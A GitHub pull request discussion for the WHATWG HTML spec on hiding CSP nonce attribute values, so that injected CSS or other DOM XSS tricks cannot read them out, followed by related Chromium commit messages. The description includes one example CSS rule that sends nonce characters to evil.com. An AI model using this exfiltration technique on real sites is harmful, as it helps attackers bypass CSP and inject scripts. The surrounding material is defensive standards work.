-
Notifications
You must be signed in to change notification settings - Fork 2.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Hide nonce
content attribute values. (#2369)
#2373
Conversation
Would a cleaner model not make this solely a parser change (parser sets the internal slot, doesn't append a content attribute) and then not have any other processing model observe or modify the nonce content attribute? |
We could certainly do it that way. That said, I think @arturjanc, et al are currently propagating the nonce value in a backwards-compatible way via code like the following, which would break if the content attribute wasn't present (e.g. the
I suppose they could instead grab the nonce by walking through all the |
source
Outdated
data-x="dom-link-sizes">sizes</code></dfn>, and <dfn><code | ||
data-x="dom-link-scope">scope</code></dfn> each must <span>reflect</span> the respective content | ||
attributes of the same name.</p> | ||
|
||
<p>The <dfn><code data-x="dom-link-nonce">nonce</code></dfn> IDL attribute, on getting, returns | ||
the value of the <code>[[Cryptographic Nonce]]</code> internal slot; and, on setting, changes the | ||
value of the <code>[[Cryptographic Nonce]]</code> to the given value.</p> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If we go with the model that there should be a content attribute when [[Cryptographic Nonce]] is non-empty, the setter should set/remove the content attribute here.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
That seems strange too. Basically, we've decoupled the IDL and content attributes in this patch (e.g. whatever.setAttribute('nonce', 'whatever')
pokes at the content attribute's value, but doesn't change the internal slot, and vice-versa with whatever.nonce = 'whatever'
). That seems more defensible than linking the two in some cases but not in others.
All that said, I agree that this is a weird model. Perhaps @arturjanc or @mikispag have opinions about how they might use any of these options in Google's libraries?
This patch extracts the 'nonce' attribute out to a generic definition in the "Fetching resources" section (alongside "CORS settings attributes", etc.), and defines some new behaviors with the intent of reducing the risk of side-channel leakage of the nonce's value. In short, the nonce value is extracted from the content attribute when the element is inserted into the DOM, and put into an internal slot. The content attribute's value is set to the empty string. From then on, the slot's value and the content attribute's value are disconnected; alterations to one have no effect on the other, and vice-versa. The nonce's value is available to script via the `nonce` IDL attribute, and so can be propagated just as today. Addresses #2369.
I've updated this patch after thinking about things a little bit more, and I'll put together some tests today in hopes of explaining how I think things would work. |
As specified in whatwg/html#2373.
Thoughts? I'd like to ship something to close this hole in the relatively near future. I think this approach feels pretty reasonable, seems like a good balance between developer ergonomics and security, and folks on @arturjanc's team at Google are ~confident in their experiments on top of Chrome's experimental implementation. /ccing the list of folks from the related issue @arturjanc, @mikispag, @lweichselbaum, @mozfreddyb, @ckerschb, @dveditz, @hillbrad, @devd, @johnwilander, and @teddink in the hopes of soliciting more opinions. |
source
Outdated
|
||
<p>When such an element that implements <code>NoncedHTMLElement</code> <span>becomes | ||
connected</span>, the user agent must <span>immediately</span> execute the following steps on the | ||
<var>element</var>: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do you have mutation observer tests for this behavior? This is a little different from the parser modifying the value directly.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Also, is the nonce likely shared across elements? If so, we should maybe hide it for all elements including those that do not yet implement NoncedHTMLElement
. Otherwise each time we add it to a new element you might end up having it accidentally exposed in user agents that do not implement that new nonce feature yet.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
In which case it should maybe be part of DOM's "superglobal" (not named as such) attributes.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do you have mutation observer tests for this behavior?
Nope, but I can add some to web-platform-tests/wpt#5423.
Also, is the nonce likely shared across elements? If so, we should maybe hide it for all elements including those that do not yet implement
NoncedHTMLElement
. Otherwise each time we add it to a new element you might end up having it accidentally exposed in user agents that do not implement that new nonce feature yet.
I'm happy to do it that way, it's probably more future-proof. Also, I'm told that Firefox actually implements nonces for more resource types than we've actually specced, so doing it at a higher level is probably helpful for them in the short term.
In that case, would you suggest dropping NoncedHTMLElement
, and putting the behavior on HTMLElement
directly?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yeah, though if you also want to add it to SVG (for <svg:script>
and friends) we should maybe just put it on Element.
(I didn't realize the observable mutation of the nonce content attribute was intentional. I guess it doesn't matter much as we also expose it through the nonce
IDL attribute.)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yeah, though if you also want to add it to SVG (for svg:script and friends) we should maybe just put it on Element.
I do indeed want to apply the same change to SVGScriptElement
. Element
sounds like the simplest way to do that.
(I didn't realize the observable mutation of the nonce content attribute was intentional. I guess it doesn't matter much as we also expose it through the nonce IDL attribute.)
It's "intentional" only insofar as it seems a necessary side-effect of tying the adjustment to insertion. I suppose we could avoid it by hooking more deeply into the mechanics of setting the attribute's value via something like setAttribute
, but it doesn't seem like a good idea to introduce that kind of complexity.
Since we're really only concerned about hiding the value from non-script sources, that seems like a reasonable tradeoff.
nonce
content attribute values. (#2369)
So an implication here is that nonces will not appear anywhere other than in |
@zcorpan: The approach here only applies to |
Do you have a PR for SVG as well? Blink's SVGScriptElement.idl points to https://w3c.github.io/webappsec/specs/content-security-policy/#script-src-the-nonce-attribute, but that now redirects to a spec that doesn't define anything for SVG. https://svgwg.org/svg2-draft/single-page.html also doesn't do it. |
To make sure I'm following, most of this patch is disappearing in favor of whatwg/dom#436, right? With the main things remaining being the deletion of nonce from link/style/script. |
Should cloning preserve this nonce internal slot? This is more relevant to style than script, obviously. Would affect cases when people fetch a DOM subtree via XHR and then clone some subtree of the responseXML. Have we considered the interaction with pages doing I'd really like to take a step back and understand the threat model here. Is it (basing this off the blink-dev thread) that people can maybe inject |
Yes, for
That's a good point. FWIW, I can live with breaking this, given the intersection of developers likely to use CSP nonces and developers likely to
@arturjanc can probably give you more context than you prefer to have on this topic. His claim is both that dealing with style at scale is hard (with Google-specific anecdata to back that up), and that That said, I agree with you that there are relevant distinctions between attribute values and inline style. Allowing distinct targeting of each category via CSP might alleviate some of the deployment pain that folks feel, but it's not at all clear to me that that's the core of the issues Artur's team has run into at Google. |
Another thing to consider here is editors. The fact that the DOM doesn't actually store the right state anymore makes writing editors a lot trickier... In general, it seems to me that auto-disappearing attributes will lead to a long tail of things that break because no one expects that to happen, because it never happens right now.... Maybe the right answer is simply that any use of nonces in CSP should disable |
I like the idea of being able to distinguish between I'm less excited about forcing developers to restrict styles just so they can prevent script execution if they use CSP with nonces, for the reasons mentioned by Mike. It's worth talking about, but I'd propose that it's @bzbarsky The most readable explanation of the threat model is https://sirdarckcat.blogspot.ch/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html Essentially, an injection which can be triggered by an attacker without reloading the page (which happens frequently with DOM XSS) allows the attacker to exfiltrate a script nonce and then re-use the exfiltrated value to inject arbitrary scripts, even if the application has an otherwise safe CSP policy. The attacks mentioned in the post all rely on the fact that you can exfiltrate data from the DOM without the capability to execute scripts, most commonly by using CSS selectors. However, I don't think CSS is the only way to accomplish this, or at the very least it's not particularly future-proof -- there are features in other web formats such as SVG which can manipulate attributes of other DOM nodes (e.g. |
As one data point, it would likely break most of Google ;-) Many applications care about script injection but not style injection, so they set |
I'm sympathetic to the attack surface argument, but I still think the auto-disappearing behavior being proposed is going to cause problems for all sorts of tools by violating a very basic invariant of how the DOM works... It seems like we're working around a mistake in how we designed CSP's nonce interaction (a mistake that is hard to fix now due to existing deployments) by breaking the DOM's invariants in ways that will cause problems for everyone other than CSP. :( |
So. Where do we go from here? It sounds like we agree that the threat is a reasonable one to defend against, and it sounds like we agree that it would be hard to modify the existing behavior of Given that, I'm tempted to say that the strange behavior of the If that's unacceptable, then perhaps introducing a broader concept, similar to the |
Maybe we should explore restricting stylesheets independently from style attributes more? But also, I don't think this quite breaks an invariant in the DOM, since anyone could have insertion behavior defined that modifies attributes; though with mutation observers that change would happen a little later of course. We're not actually modifying what |
|
I think this is probably worth doing, but orthogonal to the question here. That is, it doesn't sound like changing this behavior to more specifically target kinds of style would not make it easier for @arturjanc to teach the properties he's responsible for about
This is probably confusing, as the initial proposal has shifted as we've gone. The current proposal in this PR is more narrowly scoped, and, as @annevk notes, doesn't affect |
According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2
According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536 Commit-Queue: Arthur Sonzogni <[email protected]> Reviewed-by: Mike West <[email protected]> Reviewed-by: Fredrik Söderquist <[email protected]> Cr-Commit-Position: refs/heads/master@{#746837}
According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536 Commit-Queue: Arthur Sonzogni <[email protected]> Reviewed-by: Mike West <[email protected]> Reviewed-by: Fredrik Söderquist <[email protected]> Cr-Commit-Position: refs/heads/master@{#746837}
According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536 Commit-Queue: Arthur Sonzogni <[email protected]> Reviewed-by: Mike West <[email protected]> Reviewed-by: Fredrik Söderquist <[email protected]> Cr-Commit-Position: refs/heads/master@{#746837}
…t nonce hiding., a=testonly Automatic update from web-platform-tests [CSP] Factorize SVGElement & MHTMLElement nonce hiding. According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536 Commit-Queue: Arthur Sonzogni <[email protected]> Reviewed-by: Mike West <[email protected]> Reviewed-by: Fredrik Söderquist <[email protected]> Cr-Commit-Position: refs/heads/master@{#746837} -- wpt-commits: 06705ea82c8a9d1866665c8abd069dd3b0f8c12b wpt-pr: 22021
…t nonce hiding., a=testonly Automatic update from web-platform-tests [CSP] Factorize SVGElement & MHTMLElement nonce hiding. According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536 Commit-Queue: Arthur Sonzogni <[email protected]> Reviewed-by: Mike West <[email protected]> Reviewed-by: Fredrik Söderquist <[email protected]> Cr-Commit-Position: refs/heads/master@{#746837} -- wpt-commits: 06705ea82c8a9d1866665c8abd069dd3b0f8c12b wpt-pr: 22021
…t nonce hiding., a=testonly Automatic update from web-platform-tests [CSP] Factorize SVGElement & MHTMLElement nonce hiding. According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536 Commit-Queue: Arthur Sonzogni <arthursonzognichromium.org> Reviewed-by: Mike West <mkwstchromium.org> Reviewed-by: Fredrik Söderquist <fsopera.com> Cr-Commit-Position: refs/heads/master{#746837} -- wpt-commits: 06705ea82c8a9d1866665c8abd069dd3b0f8c12b wpt-pr: 22021 UltraBlame original commit: 24ff6c7777429ca3691d2c2d66c9a2d09651f701
…t nonce hiding., a=testonly Automatic update from web-platform-tests [CSP] Factorize SVGElement & MHTMLElement nonce hiding. According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536 Commit-Queue: Arthur Sonzogni <arthursonzognichromium.org> Reviewed-by: Mike West <mkwstchromium.org> Reviewed-by: Fredrik Söderquist <fsopera.com> Cr-Commit-Position: refs/heads/master{#746837} -- wpt-commits: 06705ea82c8a9d1866665c8abd069dd3b0f8c12b wpt-pr: 22021 UltraBlame original commit: 24ff6c7777429ca3691d2c2d66c9a2d09651f701
…t nonce hiding., a=testonly Automatic update from web-platform-tests [CSP] Factorize SVGElement & MHTMLElement nonce hiding. According to: whatwg/html#2373 html and svg Element are hiding their nonce when there are at least one Content-Security-Policy defined from an HTTP header. The two implementation: - HTMLElement::InsertedInto - SVGElement::InsertedInto were hidding the nonce slightly differently. To prevent further divergence, factorize this implementation into Element::HideNonce() and call it from both places. Bug: 1053496 Change-Id: I3cbad88f70c61591bef060d4188c82388e6001d2 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2078536 Commit-Queue: Arthur Sonzogni <arthursonzognichromium.org> Reviewed-by: Mike West <mkwstchromium.org> Reviewed-by: Fredrik Söderquist <fsopera.com> Cr-Commit-Position: refs/heads/master{#746837} -- wpt-commits: 06705ea82c8a9d1866665c8abd069dd3b0f8c12b wpt-pr: 22021 UltraBlame original commit: 24ff6c7777429ca3691d2c2d66c9a2d09651f701
In order to support the nonce-hiding changes suggested in whatwg/html#2373, this patch adds a 'source' to each policy object, which allows us to determine whether it was sent via an HTTP header or a '<meta>' element. As a drive-by, it also cleans up the formatting and structure of the parsing algorithms, and more formally defines a 'CSP list' for clarity.
We've seen some recent attacks on CSP which rely on the ability to
exfiltrate nonce data via various mechanisms that can grab data from
content attributes. CSS selectors are the best example: through clever
use of prefix/postfix text matching selectors values can be sent out
to an attacker's server for reuse (e.g.
script[nonce=a] { background: url("https://evil.com/nonce?a");}
).This patch makes some changes to mitigate this risk by hiding the nonce
value from relevant element's content attributes:
When parsing an element with a
nonce
attribute, the contentattribute's value is copied into an internal slot on the element, and
overwritten with the empty string.
The
nonce
IDL attribute's getter returns the value of the internalslot, and its setter updates the internal slot's value.
The internal slot's value is used to populate the cryptographic
nonce metadata used by Fetch when making requests.
WIP: This patch doesn't actually do the above yet. It only adjusts
the element in the hopes of sparking conversation about how this
feature should actually work. Does it look reasonable? Should we
replicate the steps for each element type that has a nonce, or move it
up the chain to something like Node?
Issue: #2369